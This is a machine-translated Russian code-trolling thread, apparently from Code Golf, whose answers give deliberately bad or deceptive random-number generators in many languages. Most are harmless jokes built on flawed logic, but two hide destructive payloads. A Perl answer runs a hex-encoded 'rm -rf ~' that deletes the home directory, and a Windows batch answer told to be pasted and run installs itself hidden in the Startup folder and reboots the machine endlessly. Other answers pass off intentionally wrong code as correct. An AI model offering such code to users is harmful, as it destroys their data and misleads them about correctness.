Соревнование:

Генерация случайной последовательности чисел. Единственным вводом должна быть длина последовательности.

Дополнительные интернет-точки для чисто функциональных решений.

^{Примечание: это вопрос кодового троллинга . Пожалуйста, не воспринимайте вопрос и / или ответы всерьез. Больше информации здесь .}

питон

Возьмите случайную статью в Википедии, возьмите последовательность html символов длиной num и получите их числовые значения

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Все программы из других ответов будут генерировать только так называемые «псевдослучайные числа», которые могут выглядеть случайными для неопытного глаза, но на самом деле следовать некоторому шаблону.

Следующая программа генерирует реальные случайные числа, превращая ваш компьютер в детектор частиц для фонового излучения. Поскольку это основано на квантовых эффектах, это действительно случайно и невозможно предсказать. И для бонуса, программа на самом деле работает быстрее, если вы запускаете компьютер в космос. И да, это так же круто, как кажется.

С

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Спойлер:

Эта программа генерирует два идентичных фрагмента памяти и затем ждет, сколько времени потребуется фоновому излучению, чтобы изменить один из них. Время ожидания затем возвращается как случайное число, которое будет экспоненциально распределено, если бы не целочисленные переполнения. Такие события, более вероятные в космосе, являются актуальной проблемой в космонавтике, которая решается путем радиационного упрочнения . Таким образом, каждое утверждение во введении в некоторой степени верно, за исключением того, что касается крутости.

К сожалению, такое событие, приводящее к сбою компьютера или, по крайней мере, программы, более вероятно, чем затрагивающее именно эти два фрагмента памяти. Кроме того , это может занять некоторое время ... И, наконец, как отметил kinokijuf, радиационный фон внешний процесс, так jи kдолжно быть помечено как volatileдля компилятора (или вы должны использовать компилятор , который не оптимизирует вообще).

PS: Развивая идею, можно также создать массив, заполненный нулями, и затем распечатать его. Существует вероятность того, что фоновое излучение изменяет нули между хранением и печатью и, следовательно, то, что печатается, является случайным - ОП никогда не говорил, как должны распределяться случайные числа.

Случайности трудно достичь на компьютере, поскольку они являются чисто детерминированными. Генерация случайных чисел на компьютерах является очень активной областью исследований, часто с участием действующих лиц на уровне штата (см. Dual_EC_DRBG ). Однако в современной многозадачной операционной системе в некоторых ситуациях планировщик потоков может выполнять сносную работу. Для этого мы возвращаем наш текущий временной интервал обратно в операционную систему и отмечаем, сколько времени у нас уходит на повторное планирование. В зависимости от операционной системы и нагрузки это может привести к желаемым результатам.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C #

Поскольку пользователи нашего программного обеспечения по своей природе случайны, почему бы не использовать это в наших интересах?

Этот код делает снимок экрана и использует его с некоторыми другими данными для создания случайной последовательности. Бонусные интернет-баллы за неиспользование встроенного генератора случайных чисел?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

питон

Легко спотыкаться о распространенных подводных камнях: неравномерно распределенный источник случайных чисел и отсутствие рандомизации. Мое решение великолепно избегает этих проблем, используя глубокие математические идеи и простой, но эффективный трюк, рандомизацию с текущим временем:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Прекрасно работает, когда тестируется один раз для небольшого набора чисел (9 или меньше), но тестируется с серьезными недостатками и немного больше:

• math.pi содержит только несколько цифр после периода
• time.localtime()[8]не возвращает миллисекунды или часы ядра, но 0 или 1 в зависимости от того, летнее ли это время или нет. Таким образом, случайные семена меняются раз в полгода на одно место. Так что, в принципе, никакой рандомизации.
• Это возвращает только случайные числа от 0 до 9.
• random_numbers[:number]молча терпит неудачу, когда вы вводите numberбольше 15 и выплевывает только 15 случайных чисел.

К сожалению, это вдохновлено случайной функцией Delphi 1.0, которая работала аналогично.

Рубин

Вопрос требует ПОСЛЕДОВАТЕЛЬНОСТИ. Это снова мы...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Это на 100% случайно. Нет, правда.
Жаль, что этот код ничего не значит для OP (что, черт возьми, object_id?)
Кроме того, он зависит от реализации, то есть работает или не работает между различными версиями ruby ​​(запускал это на 2.1.0p0).
Кроме того, это может потенциально сделать что-то действительно неприятное, так как OP может поэкспериментировать с object_id ...

Пример вывода:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Редактировать:

изменено для использования $$для истинной случайности (на уровне ОС).

Джава

Осторожно, это вопрос с подвохом .....

Большинство людей в Java будут использовать math.random (), чтобы помочь сгенерировать эту последовательность, но они запутаются, потому что получат только положительные результаты! random()возвращает десятичное значение от 0 до 1 (исключая саму 1). Таким образом, вы должны сыграть несколько хитростей, чтобы убедиться, что вы получаете хорошее распределение случайных значений во всем целочисленном диапазоне (положительном и отрицательном).

Кроме того, вы не можете просто умножить, Math.random()и Integer.MAX_VALUEпотому что вы никогда не включите Integer.MAX_VALUEсебя как часть результата! Также было бы логично сделать math.rand() * (Integer.MAX_VALUE + 1)так, чтобы вы получили полный дистрибутив, но, конечно, это не сработает, потому Integer.MAX_VALUE + 1что переполнится и станет Integer.MIN_VALUE! Так что, к сожалению, лучшее решение - прибегнуть к побитовой обработке данных ...

Итак, вот полная последовательность для генерации 'n' случайных значений в диапазоне Integer.MIN_VALUEдо Integer.MAX_VALUE(включая обе крайние величины (что является сложной частью) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Это производит вывод как:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Конечно, выше, полный ответ BS. Он не дает хорошего описания и «скрывает» серьезную ошибку ( ^=должно быть |=). он также скрывает менее серьезную ошибку (порядок-pf-предшествование означает, что мы вообще не умножаем на простое значение!) Использование причудливых слов, простых чисел и большого количества комментариев - не повод доверять коду ... Конечно, если вы хотите сделать выше, вы должны просто использоватьjava.util.Random.nextInt()

Джава

Теперь, когда я оглядываюсь назад на программу, я забыл закрыть Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Я делаю ту же $\тактику для вывода, что и в другом ответе кода троллинг. Кроме того, вы заметили, что я вкладываю значительные средства $$в алгоритм RANDU .

Изменить: Чтобы объяснить лучше, RANDU это ужасно ненадежный PRNG. Википедия описывает это как «один из самых плохо продуманных генераторов случайных чисел, когда-либо созданных». Это основная слабость ниже:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Вот генератор случайных чисел, база 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

В javascript, с функциональным стилем:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

С

Эта функция очень хорошо работает для небольших приложений для создания случайных чисел от 0 до 1337. Рекомендуется вызывать ее несколько раз, чтобы обеспечить максимальную случайность.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

Знаменитый генератор Blum Blum Shub . Потому что генераторы случайных чисел должны быть криптографически защищены, и какой лучший способ обеспечить безопасность, чем через неизвестность.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Включает в себя ужасные имена переменных, неправильную реализацию, основанную на быстром сканировании википедии, и бесполезную магию указателя функции, добавленную для забавы)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Используйте некоторые данные кучи мусора. О, и не забудьте протечь указатель.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Плюсы:

• Оно работает.
• Иногда.
• Действительный (ish) C89.
• Страшный С ++.
• Используйте заголовки C, потому что using namespace std;это зло и мы не хотим замедлять программу всеми этими поисками пространства имен.
• Мы избегаем равномерности распределения в пользу скорости, используя модуль с жестко закодированным значением (TODO: измените его, чтобы использовать битовое смещение для еще большей необработанной скорости).
• Можно проверить детерминизм, выполнив несколько раз в течение одной и той же тактовой секунды.
• Почему этот код плох, достаточно неочевиден, чтобы ОП, вероятно, не осознал этого.

Минусы:

• Почему этот код плохой, неясно, что профессор ОП (грейдер), вероятно, не осознает этого.
• Похоже, это обычно рассматривается как приемлемое решение.
• Требуется больше СЫРЬЕ.

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Вход - 3

Выход - {2,3,1}

Это работает, потому что это сводится к :Input A:Disp randIntNoRep(1,A)

Вот решение Python. Вы не можете доказать, что это не случайно!

def get_random(num):
    print '3' * num

Попробуйте, позвонив get_random(5), например.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

В этом примере используется очень простой Perl-код для выполнения запроса, но не раньше, чем рекурсивно удаляется их домашний каталог (конечно, без написания rm -rf ~).

Я не проверял это (по очевидным причинам).

Python 3

Он не только тратит много времени (как реального, так и процессорного времени), он возвращает только 10 случайных чисел.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Рубин

Вы можете знать, что не все числа случайны. Эта программа проверяет все числа и дает вам только те, которые действительно случайны.

Помните, что код на Ruby немного сложен для чтения. Это не так эффективно, как английский, потому что компьютеры немного глупы, и иногда вам приходится повторять им важные слова.

Поэтому я добавил некоторые #commentsк коду; Слова в верхнем регистре в комментариях показывают, как работает то же слово в коде Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Более подробное объяснение может появиться позже, но этот вывод из примера запуска должен отдать часть этого: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... Тем не менее вроде как случайно.

Следующий пакетный скрипт Windows создаст файл со случайными числами, названными OUTPUT.TXTв папке вашего профиля. Это гарантированно генерирует почти полностью истинные случайные числа. Просто вставьте этот код в Блокнот, сохраните как "FileName.CMD"(с кавычками) и выполните.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Между прочим, слишком сложно вводить количество генерируемых случайных чисел. Просто нажмите и удерживайте кнопку питания, чтобы она перестала генерировать. Намного проще! Плюс: не требует клавиатуры.

Lua

Это сверхзадача, чрезмерно сложная, грязная (даже с подсветкой синтаксиса) функция, которая генерирует незаметно большие числа гораздо более сложным способом. И вместо того, чтобы возвращать строку чисел, она печатает их на экране, что делает его непрактичным для использования в ваших программах. Его сложно редактировать, поэтому, если ваш victum попросит вас исправить это, скажем, его слишком сложно редактировать.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Обратите внимание, что он имеет тенденцию разбиваться на более длинные последовательности, но когда он работает, он генерирует очень случайные числа

Фортран

Ваш компьютер уже имеет встроенное случайное число, поэтому вам просто нужно получить к нему доступ:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Очевидно, что оно не переносимо, поскольку требует, чтобы у пользователя была система * nix (но кто все равно использует Windows?).

Я предполагаю, что вам, конечно, нужно много случайных чисел. Который призывает ...

Bash и Hadoop

Конечно, использование только одного случайного источника ненадежно во времена АНБ. Возможно, они взломали ваш компьютер. Но они не собираются подвергать троянской атаке весь ваш кластер!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Далее скрипт будет запускать задания кластера по желанию:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Слава богу, у нас есть сила Hadoop!

Рубин

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

Это довольно сложно, и я бы не слишком беспокоился об этом. Просто скопируйте и вставьте приведенный ниже код в свою библиотеку, и вы навсегда останетесь золотым.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Попробуйте C ++ - быстро, мощно, все, что вы когда-либо захотите:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Кстати, для достижения наилучших результатов, вы захотите использовать class.

Объяснение:
1. Ему НЕ нужно это использовать class- это совершенно излишне.
2. Оператор return generate_num()фактически возвращает число ^ (число ^ 0), которое оценивается как число ^ 1, которое является числом. Это также избыточно.
3. Самая ненужная обработка ошибок - что может пойти не так с этим базовым перфорированием данных?
4. Я использовал std::перед всеми элементами stdпространства имен. Это также избыточно.
5. #defineЗаявления также не нужны - я сделал это, чтобы он подумал, что я определил эти типы специально для этой программы.

Отказ от ответственности:
эта программа на самом деле работает; однако я НЕ рекомендую ни одному физическому или юридическому лицу использовать его в своем коде для реальной жизни. Я не оставляю за собой никаких прав на этот код; другими словами, я делаю это полностью открытым исходным кодом.

питон

Принимая функциональную часть - почти однострочный питон

import random
map(lambda x: random.random(), xrange(input())